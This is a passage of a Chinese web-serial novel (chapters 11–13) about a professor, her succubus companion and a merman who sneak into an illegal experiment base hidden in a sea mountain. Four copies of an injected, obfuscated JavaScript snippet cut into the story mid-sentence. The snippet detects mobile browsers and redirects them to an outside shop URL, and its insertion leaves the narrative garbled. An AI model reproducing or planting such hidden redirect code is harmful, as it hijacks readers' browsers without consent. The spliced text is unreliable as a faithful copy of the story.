“这鲸鱼是假的。” 他挑眉:“你怎么知道?” “鲸鱼的肚子里有四个胃,腐蚀性极强的胃酸就不说了,我连它的心跳声都没听见。” 蓝鱼沉默下来,我嘲讽道:“切,文盲。” 我看向小魅:“你知道你朋友有这么大一只宠物吗?” 小魅摇头:“今天第一次知道。” 蓝鱼反驳:“不是宠物,这是我制造的拟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470453|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态异空间,五十年东拼西凑才搞出这一个。” 我不耐烦地“哦”了一声。 我不知道自己对他哪来的恶意。 这种恶意和我的小魅无关,小魅的好友,我本不该过多置喙。 我只是觉得,我和小魅费尽心力找他,结果他躲在鲸鱼胃里,还用这种方式安排我们相遇。 好吧好吧,我承认。 因为他,我受了这么多罪,所以我暂时讨厌他。 只是暂时性的。 蓝鱼站起身,走到肉窟前方,我才发现那里有一道和鲸鱼呼吸孔结构相似的大门。 两个洞口,一缩一合,有规律地蠕动着。 说实话,这个空间造得确实不错。 蓝鱼背着手:“喉道里含有类似麻药的物质,对没有抗体的物种麻醉效果极强。这是我制造空间时,在三号星海船上误打误撞研制出来的,姚教授不小心吸入了一点,所以才昏迷,我深感抱歉。” 我还以为是缺氧呢…… 我抬眼,看了一眼面无表情的小魅。 小魅有抗体。 那也就是说,他之前……也被那些畜牲…… 小魅对上我的视线,安抚地笑了笑。 蓝鱼说:“麻药没有解法,我也不清楚原理,还好姚教授只吸入了一点。” 我现在都想把这麻药带回去研究了。 蓝鱼继续说:“他们发现我们捣毁了中央大街的窝点,所以上次专门引我入洞,啧……” “去中央大街的那群畜牲,已经被我杀了……” 我对蓝鱼的逃亡经历不感兴趣。 感觉身体已经恢复得七七八八。 多亏了我这金刚不坏之躯,能硬抗物理伤害,还有化学毒素伤害。 我拉着小魅站起身,心里其实完全不想掺和,但直觉告诉我,这是一件大事。 小魅上前一步,问道:“现在我们要做什么?” 蓝鱼的蓝色长发很飘逸,我怎么注意力跑到他头发上去了? “星海猎船,具体几号不清楚,已经在十一星系大肆捕捞人鱼了。” 蓝鱼抿了抿嘴,看了我一眼,继续说:“还有十二星系的魅魔,他们似乎在培育杂交种。” 蓝鱼始终与我和小魅保持着一段距离,却语气坚定地对我们说:“我得去炸了那条船。” 他在搞什么? 他以为我们会答应吗? 切,拯救星系这种事。 哼,拯救物种这种事。 我会答应吗? 小魅还真答应了! …… 那我也答应。 我真搞不懂他们俩脑子里在想什么,明明从未得到过族人的关怀,从未在故乡好好生活过,蓝鱼甚至很讨厌自己的家乡…… 那为什么还要做只有中二少年才会做的事? 他们以为自己还是十七岁的高中生,想着拯救世界吗? 拜托,都是一百岁的人鱼和魅魔了! 拜托,我也是两百岁的教授了! 可我选择跟着小魅一起胡闹。 我坐在柔软的肉壁上,问小魅:“你为什么变白了?” “我原本的样子就是白色,主人可以理解为战斗形态。” “噢……” 我低下头,百无聊赖地抠着鲸鱼肉壁。 小魅牵起我的手,在我脸颊印下一个吻:“谢谢主人。” 我挺起胸膛:“谢什么?我可是一家之主。” “我不想再看见我的族人,走上和我一样的路,也有报仇的成分在,我确实很想炸了那伙人……” 小魅垂下眼眸,粉色的眸子显得朦胧不清。我抬手抚过他的脸颊,为他拭去眼泪。 他有些不好意思地扑进我怀里:“躺在手术台上的滋味太难受了,所以……” 他轻笑一声,带着几分自嘲:“我果然是个彻头彻尾的理想主义者,主人会不会觉得我很幼稚,在胡闹?” 我顺着他柔软的发丝,指尖一圈圈绕在他精致的恶魔角上。 “没事,我也幼稚一回。你会不会嫌弃我是两百岁的大龄人类?” 他“噗嗤”一声笑出来,轻轻捶了捶我的腿:“怎么会……” 我着实没想到,两百岁的Beta,还能上演一出“老年热血番”。 开团秒跟好吧! 11. 饲养魅魔第十一天 蓝鱼操控着鲸鱼,在大海里游弋。 手段简单粗暴,他攀附在肉壁上爬上去,从鲸鱼头顶的呼吸孔观察四周。 “切,我还以为多高科技呢,连最基本的多面镜子反射都不会,怪不得潜望镜都造不出来。” 蓝鱼还是吃了没文化的亏。 小时候很想去尼摩船长的鹦鹉螺号上游玩,体验一下海底世界,没想到今天会以这种方式、在这种地方实现。 鲸鱼肚子里空空荡荡,我和小魅百无聊赖地靠在一起玩手指。 我边捏着他的指尖边问:“之前鲸鱼吞下去的鱼虾都去哪里了?” 小魅闭目养神,闻言摇了摇头:“不太懂。蓝鱼说话做事一向跳脱,我和他当了这么多年朋友,也没搞懂他的脑回路。” 我着实对人鱼这种生物感到好奇,又换了个问题:“那他会不会溺空气?” 小魅睁开眼,歪了歪头:“不知道,没见他溺过,也没见他醉氧过。” “啵”的一声,蓝鱼把头从呼吸孔里拔了出来。 他对我伸出一根手指:“不会醉氧,定期沾水就行。” 又伸出一根手指:“我现在不饿,所以之前的鱼虾被我从□□排泄出去了。” 他沾沾自喜地说:“我是一条善良的鱼,所以那些鱼虾是活着出去的。” 我该夸他吗? 我迎着蓝鱼发亮的鱼眼睛,看向小魅。 小魅一脸“没救了”的样子点了点头。 我接收到信号,立刻竖起大拇指:“你真棒!” 蓝鱼心满意足地重新攀爬上去,再次把头塞进鲸鱼的呼吸孔。 从下往上看,画面格外诡异:一条人鱼吊在半空中,腿还在晃来晃去、甩来甩去。 他大喊道:“去吧!黑珍珠号!” “欢迎来到大航海时代!” “我是旧时代的残党,新时代只有一条我能搭乘的鱼!” 呃…… 啊…… 那个…… 没人告诉他这样很尴尬吗? 也没人提前告诉我,蓝鱼是条中二病晚期的鱼。 小魅捂脸,深吸一口气,又泄气地吐出来:“他只是……嗯,可能海洋馆的饲养员给他看了什么很热血的东西,让蓝鱼变得……更……更那啥。” “啊,我懂。” 小魅凑过来对我耳语:“主人,原谅他吧。” 他指了指自己的太阳穴:“他只是一条鱼。” 我一脸郑重地点头表示同意。 鱼类智商能有多高? 小魅这么多年独自“抚养”一条鱼,真是辛苦了。 如果鲸鱼体内能开一扇窗就好了,这样就能欣赏到海底世界。 在里面坐着感受不到鲸鱼的速度,于是我走到蓝鱼脚下,拍了拍他的脚。 蓝鱼迷糊的声音从上方传来:“干嘛——?” 我双手做成扩音喇叭,抬头喊道:“起开——我上去看看——” “啥?挤开?” 小魅一脸无语,直接上前,拽着蓝鱼的腿把他扯了下来。 “主人,上去。” 蓝鱼跌坐在地上,骂骂咧咧道:“?δ?§※!” 什么鬼话,一句都听不懂,听不懂等于无效攻击。 我心安理得地爬上去,钻出鲸鱼的呼吸孔。 顿时,天光大亮!空气清新!风景宜人! 一望无际的大海,还有尖叫连连的海鸥。 蓝鱼要去找星海猎船。他逃跑时故意留下一个幸存者,还在那人身上撒了点鱼籽, 他能通过自己的鱼籽,找到那些非法猎人。 鱼籽?! 我急忙钻回去,震惊地问:“他不是公的吗?哪来的鱼籽?!” 小魅对我耸了耸肩,看样子,他也不知道。 小魅怎么什么都不知道…… “呃……”蓝鱼摸了摸鼻尖,脸颊诡异地泛起一抹红,“害,有鱼籽,但是假的。” 我一头黑线。 人鱼真是个奇怪的物种,蓝鱼尤其如此,是其中的代表。 我竟然产生了解剖人鱼的想法。 试着想想看:蓝鱼从自己身体里掏出鱼籽,一把一把撒出去: “去吧,孩儿们!” “爸爸会想你们的!” 然后上演《孩子去哪儿》,建立与鱼籽的联系,寻找鱼籽攀附的人。 这跟蒲公英和苍耳有什么区别? 真正的鲸鱼行驶速度很快,但这一头是假鲸鱼。 我把头枕在小魅的膝盖上,舒服地眯起眼:“蓝鱼,能不能快点?照这个速度,得找到猴年马月?” 蓝鱼把手按在肉壁上,注入一股力道,狠狠一推。 我瞬间感受到一阵强烈的推背感。 哦呼—— 但没几秒,就停了下来。 蓝鱼收回手:“只能这么快了,不能再快了。” 我叹了口气,不怪他,他只是一条鱼。 我从小魅身上起来,顺手把他也拽起来,带着他走到鲸鱼的呼吸孔下。 “主人,干嘛去?” “小魅能带我飞吗?” “能……” 我闻言一笑:“那就行,走,咱上去飞。” 自动屏蔽蓝鱼那听不懂的骂骂咧咧。 我个子高又苗条,像根筷子似的长条,顺利从呼吸孔钻了上去。 小魅被我用力一拉,也跟着登顶。 我们爬上来不是为了抢大冰箱,而是给这条鲸鱼加装装备。 老套路,之前怎么捯饬木筏,现在就怎么捯饬这条鲸鱼。 外骨骼这辈子都没想到,自己还能被人开发到这种地步。 外骨骼快速包裹这条鲸鱼,不一会儿,就给它套上了一套“银色铠甲”。 眼看外骨骼要向海底延伸,我立刻喊外挂:“小魅,带我飞!” 小魅翅膀一张,巨大的恶魔翅膀扑扇两下,便拉着我腾空而起。 我们来到鲸鱼尾部:“小魅抓紧我!” “是!” 我两手死死抓住外骨骼,狠狠一扭,先拽下一片,撒上信息素,再团吧团吧揉成一个球,扔进空间存储器里,以备不时之需。 等外骨骼重新生长,一旦它开始冒尖,我就直接抓住冒出的端头,360度无死角拧动。 这个可比木筏的螺旋桨难扭多了! 我手臂青筋暴起,使出蛮力,咬着牙对小魅说:“小魅,当心别被惯性甩出去!” 小魅奋力稳住我的身形:“好!” 最后一下,我腰部发力,腰带着手臂狠狠一掰! 哈! 螺旋桨成功转了起来。 我和小魅也跟着转了起来。 我和小魅在空中疯狂转圈:“啊啊啊啊!!” 想吐! yue—— 但是但是! 我是不是该在这个时候喊一句: “我一定会回来的!!!” 这次是空中滚筒洗衣机! 一天体验两次,你值得拥有! · 这是蓝鱼的声音:“她怎么又晕了?” 还是蓝鱼:“人类这么脆弱吗?” 小魅说:“你能别说话吗?主人等会儿就醒了。” “哦。” 我醒了。 这次醒得很快。 真无语…… 我是说,转圈圈真的很无语,容易把人脑浆晃匀。 为了在小魅面前展现我一家之主的勇猛,我一个鲤鱼打挺站起来,对他挑了挑眉。 我站在鲸鱼背上,海风呼呼吹过,我把头发重新扎紧。 我望向没有尽头的前方:“蓝鱼,你还没找到你的鱼籽吗?” 蓝鱼趴在鲸背上,伸出手拨弄海水,蓝色长发从背上滑落,遮住了他大半个身子。 我总是忍不住想把他的头发扎起来。 “把头发扎起来,大大方方”的老派思维被我强行压下。 “快了,”他说,“马上就到星海猎船的上方。” 我一直以为星海猎船是浮在海面上的,再不济,也是像宇宙飞船一样飘在空中。 没想到,星海猎船竟然水陆空三栖都行。 蓝鱼收回浸在海里的手:“啧,不对。” 他对小魅说:“小魅,能麻烦你到上面去看一下吗?” 小魅向前飞去,不一会儿就没了踪影。 “怎么了?” 蓝鱼道:“鱼籽突然换了位置,不在水里了。前一秒还粘在那人身上,下一秒就上升了几百米,脱离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470454|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海洋了。” 我心头一紧:“你的鱼宝宝很可能被发现了。” 蓝鱼缓缓摇头:“不太可能。鱼籽很小很小,比你想的还要小,它钻在那人的里衣褶皱里……” 蓝鱼声音越来越小,我们对视一眼,同时开口:“那人出事了!” 其实我们也想到过衣服被换掉的可能,但突然升空几百米,总不能是衣服被扔上去吧? 所以,那人被挂在了空中。 小魅飞回来,喘着气落地:“再往前游,穿过一片冷雾,就能看到一座很突兀的直立岛屿,岛上没有任何植被,全是光秃秃的石头。” 我问他:“有生物居住的痕迹吗?” 小魅皱着眉:“没有,很干净,非常奇怪……” 冷雾…… 我问道:“你看到冰山了吗?” “没有,但温度很低,比这里低得多。” 蓝鱼说道:“他们在做什么冷冻实验吗?” 我跪在鲸鱼背上,把手探进海水里:“不是不是,这里有冰山,在海底。” 我将外骨骼收起,三人又从鲸鱼呼吸孔钻回了鲸鱼肚子里。 我说:“我建议在鲸鱼肚子里装一扇窗,不然外面什么情况都看不见。” 蓝鱼无视我的牢骚,对我们俩招了招手:“那就去鲸鱼眼睛里吧。” 说完,他撑开最前方那道“类呼吸孔”的门,钻了进去。 “哈?”我牵着小魅连忙跟上,“不是,你真是条蠢鱼吧?之前怎么不在眼睛里探路,还像个傻子一样卡在头顶的呼吸孔里!” 小魅拉了拉我的手,提醒道:“因为要看海面。” 我一下反应过来,也不害臊也不尴尬,淡淡地“哦”了一声。 忘了这茬了。 那还是怪他,之前这么无聊,都不开放前方喉道给我和小魅,就让我俩干坐着浪费时间。 长长的喉咙里有一股怪味,有点熟悉,有点上头。 小魅踮起脚,捂住我的口鼻:“主人,这里有麻药,当心。” 我把他的手拿下来握在手心,安抚道:“没事,经历过一次就有抗体了,不怕这东西。” 小魅毫不吝啬地夸赞:“主人好厉害。” 我厚着脸皮应道:“那是。” 我仔细观察这条喉道。 脚下有骨头支撑,踩上去不像腹部那么柔软,要好走一些。 喉管管壁上断断续续分布着一些小针孔,针孔排列不规则,伴着麻药的气味,可以确定这些就是分泌麻药的地方。 麻药是蓝鱼注射进去的? 蓝鱼转过身,见我用指甲抠那些针孔,猜到了我的想法,说道:“这不是注射进去的,只是移植上去的、类似于人类腺体的东西。” 我心里涌起一阵不好的预感:“人类?” “嗯。Alpha、Omega都有腺体,都可以分泌信息素,但信息素只用来传宗接代也太暴殄天物了。于是,那群人挖来腺体研究,试图把腺体装在非人物种身上,看能不能分泌出功能更强的信息素。” 按原理来说,只要解决免疫排斥,活体生物就可以视作专用培养基。同一个东西,在不同培养基里孕育出的结果也各不相同。 蓝鱼把长发往前一撩,后颈露出一道狰狞的疤痕:“这就是失败的产物。” 他笑了笑:“挺好的,没有成功的案例,反而在我身上误打误撞搞出了无解的生物麻药。” 蓝鱼把残留在后颈的腺体挖出来克隆,再植入了这头鲸鱼体内。 虽然看过小魅的身体,知道他身上没有伤疤,但我还是从心底生出一阵恶寒,不由自主地摸了摸小魅的后颈。 小魅与我十指相扣:“有一次实验让我获得了细胞加速分裂的能力,所以受伤后能很快愈合,不留疤痕。” 小魅对麻药免疫,说明他也被植入过腺体,后来自己抠了出来,伤口彻底愈合。 呵…… 一群畜牲。 从空间存储器中拿出空瓶子。 既然是腺体,喷出来的生物麻药也可以看作是信息素,那么沉附喷剂应该对它有用。 果然,麻药在空中显形,是土黄色的细小颗粒。 我用完了四瓶信息素,所以只装了四瓶麻药。 现在,我是自愿去炸船。 12. 饲养魅魔第十二天 鲸鱼的眼睛长在头部两侧,只有柚子大小,视野宽阔,但正前方存在盲区。 蓝鱼既聪明又蠢。 他清楚鲸鱼的生理特征,知道鲸鱼的眼睛具备夜视能力,能让我们在水底看清东西,却分辨不了颜色。透过眼窗向外望去,视线甚至还有些模糊。 望着窗外灰蒙蒙的景色,我简直气笑了…… 我舔了舔嘴唇,欲言又止。 我不能指着鼻子骂人,他既不是我带的学生,更不是我的下属。 蠢鱼!不该追求真实的地方,偏偏搞得这么真实! 这下好了吧,跟“分家白眼”一样,明明可以360度无死角观察,硬生生弄成了359度。 万一遭遇偷袭,怎么死的都不知道! 小魅偷偷观察着我,见我一脸呆滞,温柔地顺了顺我的背。 我深吸一口气,继续观察四周。 冰山沉在水下,都是一小块一小块的,零零散散地沿着石岛分布。 穿过这片海域,一座水下巨石赫然出现在眼前。 海面上露出的,只是这座石山的一角。 蓝鱼操控着鲸鱼下潜,隐藏在海中的石山越往下越是庞大。 我忍不住开口:“哈?这是在cos弗洛伊德的冰山理论吗?” 小魅一脸疑惑:“什么洛德?” “没什么,回家再教你。” 不知下潜了多深,我们看见石山上附着着密密麻麻的小气泡。 是在做实验?还是因为水温过高? 我正思索着,船体突然一个急刹,我狼狈地摔在地上。 小魅跌在了我身上,还好,不算重,也不疼。 蓝鱼示意我们往右边看:“有小型潜水船。” 蠢鱼,所以你就干躲着不动?! “你是笨蛋吗?快点让鲸鱼继续往前游啊,我们现在是鲸鱼,是鲸鱼!” “哦哦,对。” 蓝鱼这才如梦初醒,立刻加速。 我和小魅刚站起来,又被晃倒了。 “你游这么快干什么!!” 哎哟我天,真服了。 幸亏那艘小型潜水船没太注意我们。 潜水船悬停在石山一侧不再移动,没过一会儿,一个圆柱形装置从船身伸了出来,看上去是在进行身份识别。 实验室很有可能就藏在山体内部。 我看了蓝鱼一眼:“去截船。” 蓝鱼操控鲸鱼朝着潜水船撞去,我眼睁睁看着潜水船被鲸鱼的头部撞飞出去十几米远。 撞击的同时,鲸鱼张开了嘴。 等潜水船稳住身形,蓝鱼早已从鲸鱼口中游了出去。 我和小魅抓住他的鱼鳍,骑在了他身上。 鲸鱼被收回了空间。 这是我第一次见到蓝鱼的尾巴,又长又蓝,鳞片也保养得极好。 不过现在来不及细细欣赏,我能在海里睁眼已经是极限,此刻还憋着一口气。 潜水船没找到撞击自己的鲸鱼,便再次回到扫描装置前,等待身份识别。 蓝鱼速度极快,在我憋气一分钟后,贴着潜水船一侧,顺利潜入了石山内部。 只是,石山内部的通道依旧被水淹没。 我捂住嘴巴,防止漏气,实际上已经快因缺氧翻白眼了! 蓝鱼伸出尖锐的指甲,竟想直接攻击潜水艇外部,一爪子将它劈成两半。 大傻春!你在干什么! 我瞪大双眼,连忙抓住他的尾鳍,指向潜水船尾部、动力舱下方的升降口。 蓝鱼带着我们游到通道外侧。 在我的指挥下,他破坏了尾部通道的连接关节。 也只有蓝鱼能在水底顶着水压轻松发力。 他向内旋开圆形舱门,冰冷的海水瞬间涌入过渡舱,激起一阵细密的气泡。 我们顺着狭窄的通道滑入,身体擦过冰凉粗糙的舱壁。身后的外舱门在水流冲击下重重闭合,第二道门感应自动开启,将我们迎了进去。加压声嗡然响起,舱内的海水被一点点排空。 我们就这样成功潜入。 巨大的动静惊醒了尾部的工作人员。 他猛地睁大眼睛,还没来得及呼喊,就被蓝鱼一指甲封喉。 我甩了甩身上的水,对小魅说:“看到没,这就是我先前跟你说的指甲杀人。” 小魅伸出手,露出修剪干净的手指,嘿嘿一笑。 下一秒。 “噌!” 小魅如同金刚狼一般,指尖瞬间长出尖锐的指甲。 他笑着道:“我也可以哦,主人想看吗?” 嗯??? ……噫吁嚱。 蓝鱼的指甲缝还沾着血,他随意在死者的衣服上擦了擦,随后拿起一台正发出嘈杂声响的小型对讲机。 “喂喂喂……张……怎么……” 我一把拍掉对讲机,拉着两人躲进了储藏室。 我将两人护在身后,取出外骨骼,掰成简易弩弓, 填入同样由外骨骼制成的细针。 脚步声四起。 来了三个人。 “怎么回事!” “快,呼叫中心控制室!” “嗖、嗖、嗖” 三根银针从门缝中射出,甚至还没摁住对讲机,就被我无声射杀。 我们清理干净血迹,把四具尸体全部收进蓝鱼的异空间,让鲸鱼吞入腹中。 后来的这三人是维修部的。 也难怪,警惕性不高,战斗力也弱,一针就被解决了。 我们扒下三人的衣服套在身上。 我看了眼制服上的标识牌:“维修部—B—阿什利”。 小魅的衣服上写着:“维修部—O—贝斯”。 蓝鱼则是:“维修部—B—姆米”。 只觉得无比讽刺,他们明明都是人类,却做着伤害同族的事。 我们戴好面罩,提着工具箱,混进潜水船上无所事事的人群里。 “嗡——” 潜水船停了下来。 “工作人员请注意,已抵达停船平台,请到侧边控制舱等候下船。” “重复一遍,工作人员请注意……” 侧边大门打开,我们跟着人流走进石山内部。 眼前是一片无边无际的钢铁深渊。 头顶的穹顶高得望不见顶,无数粗如楼柱的桁架纵横交错,如同巨兽撑开的胸腔骨架。 金属摩擦声与四处飞溅的焊花交织,刺耳得让人牙根发酸。 地面是被履带与重型机械碾得凹凸不平的合金甲板,缝隙里积着发黑的油污。 石壁上还有五颜六色的液体渗出,气味难闻,令人作呕。 小魅惊叹出声:“他们在造什么……墙壁上都是血。” 五颜六色的血从墙壁里渗出是吗? 那很让人掉san了。 我望着这片酷似“萨鲁曼工业工厂”的地方,心中暗道:如果只是做物种实验,有必要弄这么大的场面吗? 身后传来细碎的议论声:“潜水船尾部怎么回事?” “他们没修好吗?” 我们三人连忙加快脚步,远离了事故现场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470455|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>· 这个地方,绝不只是在制造新物种。 我早该想到的,这片海域原本有大片冰山,如今被人为融化,就是为了获取冰山内部储存的大量可燃冰。 可燃冰在被扰动、受热或减压时,会快速分解,冒出大量甲烷气泡。 我停下脚步,看向周围的岩壁,问道:“蓝鱼,你能感应到鱼籽在哪里吗?” “虽然信号很微弱,但我们现在应该离鱼籽很近了……” 蓝鱼闭上眼,大概只感受了两秒:“奇怪,位置还在几百米高的空中,不过……感觉像是卡在石头里一样。” 我心头升起一个不好的预感:那人或许被融进了石头里。 再联想到那些五颜六色的血…… 我问道:“那人是人类吗?” 蓝鱼说:“长得像人类,应该是人类。” 我越发不确定,皱起眉:“不一定,第五星系的死灵稍加伪装,就和人类长得一模一样。” 身边一辆接一辆的叉车与我们擦肩而过,这帮人开车都不看路的吗? 一个五大三粗、将近三米高、长相诡异的人走了过来,对着我们指指点点:“喂,你们三个,干嘛呢?站在路中间不动是什么意思?” 是巨人族。 他的手臂上缠着一圈圈白色菌丝,呈丝带般缠绕,一直延伸到脖子,紧贴在颈部大动脉上。 是孢子。 怕这两个笨蛋不会说话,我上前一步:“抱歉,长官,我们正要去维修潜水船。” 他低头看向我,粗声粗气地问:“那你们不去维修部,来这儿干什么?” 我晃了晃手里的工具箱,赔笑道:“哦,我们来捡工具,回来捡工具的。” 巨人手臂上的菌丝开始蠕动攀爬,一直爬到他的太阳穴,巨人瞬间僵在原地,眼神空洞地盯着我。 我把面罩往上拉了拉。 过了一会儿,菌丝退回原位,巨人“嗯”了一声,转身离开了。 孢子智网? 第四星系的低级物种,居然已经开始控制第六星系的巨人族了。我记得这两个星系距离最远,本该是八竿子打不着的关系。 孢子智网属于真菌类智慧网络,通过孢子感染其他生物的大脑,被感染者会成为“行走的菌丝终端”。 整个星系的菌落共享记忆与决策。 四周的生物里,携带孢子智网的并不多。我望向前方的路,看来这条路通向的地方绝不简单。 小魅轻轻勾住我的小拇指:“主人……” 我纠正他:“叫名字。” 小魅看了眼我的标识牌:“呃……阿什利?” “嗯。”我带着两人转身,边走边说,“把这个地方记好,我们现在去维修部拿点东西。” 蓝鱼问:“你知道维修部在哪儿?” 我瞥了他一眼:“笨,跟着其他员工走不就行了。” 真不知道他俩以前是怎么捣毁窝点的,靠指甲?靠尾巴和翅膀? 一路观察下来,维修部的人不算少,分布得也很杂乱:有的开车运送一箱箱物资,有的攀在墙壁上“叮叮哐哐”地凿着什么,还有的聚在一起焊接材料。 维修部更像是杂兵,哪里需要就往哪里搬。 跟上一队高矮不一的维修人员,我们来到了维修部大本营。 我随便跳上一辆无人看管的叉车,车上还堆着几只不知装着什么的木箱。 “上车,我们开车回刚才那个地方看看。” 驶出大门时,身后传来无名氏气急败坏的咆哮:“我的车呢?!谁开走了我的车!” 13. 饲养魅魔第十三天 叉车的驾驶室只能坐两个人。 小魅坐中间,我和蓝鱼坐两边。 蓝鱼跟个大爷似的,一个劲地挤,一直挤。 我紧握方向盘,屁股往外挪了挪。 “姆米,你能不能往那边挪挪,没看见贝斯要被挤成老鼠干了吗?” 蓝鱼不情不愿地开口:“阿什利,你这是在心疼贝斯还是在骂贝斯?我的大长腿都没地方放了!” 小魅轻笑两声,拽了拽我的衣服。我邪恶一笑,猛踩刹车,猛地左转。 小魅屁股一顶。 蓝鱼半个身子直接甩到了外面。 “哎呦我天,差点把我甩出去!” 我嬉皮笑脸:“sorry,车技不好。” 小魅附和:“嗯,的确。” 蓝鱼揉了揉被撞到的手肘:“呵呵,你确实车技不好,小魅到现在都没吃……嘶!” 他皱起眉:“你干嘛掐我?” 小魅咬牙切齿:“闭嘴!” “小魅……” 蓝鱼再次被小魅打断:“叫名字!” 蓝鱼不再闹腾,神色复杂地瞥了旁边人一眼:“贝斯。” 我开着叉车,跟着队伍,回到了刚才的地方。 不知道他们俩在搞什么幺蛾子,我听不懂,也不掺和,这大概就是朋友之间的默契吧。 这里的巨人族突然多了起来,个个都有三米多高,有的甚至超过了五米。 巨人族与孢子共生,在叉车之间来回踱步、穿梭。 我很担心会被检查,但那些巨人保镖看上去只是随意巡逻。 就这么进来了。 也太随便了。 我们排着队穿过又高又窄的通道,通道简陋得过分,连物品识别装置都没有。 这里的设施破旧得,连五十年前的实验室都比它先进。 初极狭,才通人。 复行数十步,依旧塞车。 旁边一辆叉车降下车窗,里面的人烦躁地抱怨:“烦死了,今天又堵。” 他一转头,就看见了我们三个人的诡异组合。 他探出头:“你们怎么坐了三个人?” 堵车堵得我都没脾气了,相当淡定:“哦,他车被人偷了。” 他缩回车内:“哦,那正常。” 小魅挑了挑眉。 我看见他的标识牌上写着“维修部—A—四麦”,是个人类,便随口跟他搭话:“你为什么来这儿啊?” 四麦拍了拍方向盘:“还能为啥,为了钱呗,这儿干活工资高。” 我了然点头:“我也是,英雄所见略同。” 我和四麦的车往前挪了几米,就又拉上手刹停住。 四麦打开了话匣子:“我杀过人之后,第九星系待不下去了,为了养老婆孩子,就来这儿上班。” 他点了支烟:“这地方不错,就是脏了点。” 我开始胡编:“我也是,当了逃兵,为了躲军事法庭,来这儿运货。” 四麦赞赏地看了我一眼:“好家伙,你比我厉害。” 我摆摆手,一副云淡风轻的样子:“哼,一般一般,好汉不提当年勇。” 又往前开了几步,周围的人都叽叽喳喳聊起天来。 四麦敲了敲方向盘:“欸,你说,我们运的到底是什么东西?” “不知道,没问,他们让我干啥我就干啥。” “也对,问了要挨揍,我也一直没敢问。” 我叹了口气,身心俱疲。来这儿这么久,比打仗还累。 小魅在下面偷偷牵住我的手。 我现在很想抱住他好好亲一亲,很想舒服地睡在家里的大床上,更想悠闲地教小魅认字。 前面开始通车,我和四麦都不再说话。我不认路,就跟在他后面。 怪不得堵车,原来前方是一个只能容纳四辆车的电梯。 电梯没有任何安全保障,纯靠四根粗长的钢丝硬拉上去。 进入电梯时,有摄像头进行扫描。 “车号—100463。驾驶员—沃尔布。货物运送至四十三号。” 四麦听见电子播报,看了我一眼。 我对他笑了笑。 四麦问道:“阿什利,你抢了别人的车?” “不是,我只是开沃尔布的车而已。” 我语气过于淡定,睁着一双死鱼眼,疲惫地打了个哈欠。 四麦说:“四十三号有点远。” 我昏昏欲睡:“啊?是吗?我之前去过,还好。” 四辆车扫描完毕,电梯门关闭,开始上行。 整座山的内部被挖空,没有楼梯,只有一根根粗长的钢管横在空中,固定在山体上。 我们“嗖——”地一下飞速上升,下方的景物迅速变小,一片由钢管组成的钢铁森林赫然出现在眼前。 一辆辆车在毫无防护的铁管上穿梭,有的载着木箱,有的空空如也,还有的运着冒着白气的小箱子,箱子底下渗出五颜六色的血水。 等其他三辆车开走后,我找了一根看上去较短的钢管开了上去。 我皱着眉说:“我们三个要暴露了。” 蓝鱼问:“哪里露了破绽?” 我“啧”了一声:“咱们处处都是破绽。” 在钢管上开车特别考验车技,我干脆开到尽头就把车扔在了一边。 我让两人跟在我身后:“把面罩拉好,走。” 说没有责任心是假的,我必须保护好小魅,因为我很爱他,还有好多事没和他一起做。 一路观察下来,车辆扫描后都会开进石墙内的房间。 我深吸一口气,抬头望向望不到尽头的顶部,在心里盘算成功逃脱的可能性。 我拍了拍小魅的肩膀:“你飞的话,能带几个人?” “两个勉强,但飞不快。” 我在心里草草制订了PlanA和PlanB,开口道:“算了,没事,不用。” 这地方太大,我不打算现在炸掉。但房间里的基本情况,还是要摸清。 没什么好犹豫的,直接暴力破门。 我让他们往后退一步。 右手蓄力,不依靠外骨骼,纯靠蛮力。 “砰!” 感应大门应声碎裂。 脚下的钢管开始震动,后方涌来一群异族。 领头的是四麦。 四麦指着我:“就是他们!抓住她!” 我一把揪住身后两人的衣领,将他们往里一扔。 随即以雷霆之势,一拳狠狠砸向悬在半空的钢管。 坚硬的管壁瞬间崩开一道狰狞裂痕,裂纹如蛛网般疯狂蔓延,整根钢管骤然扭曲碎裂。 上面的人跟下饺子似的,噗噗地往下掉。 其他方向还有人扑来,我直接攥住断裂的管壁,指节发力,硬生生将粗重的钢管徒手掰断, 横扫而出,将扑上来的异族尽数扫落。 时隔多年,我又开始了屠杀。 真是……怀念啊。 我随手扔掉手中的钢管,放出一小部分外骨骼,封死被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 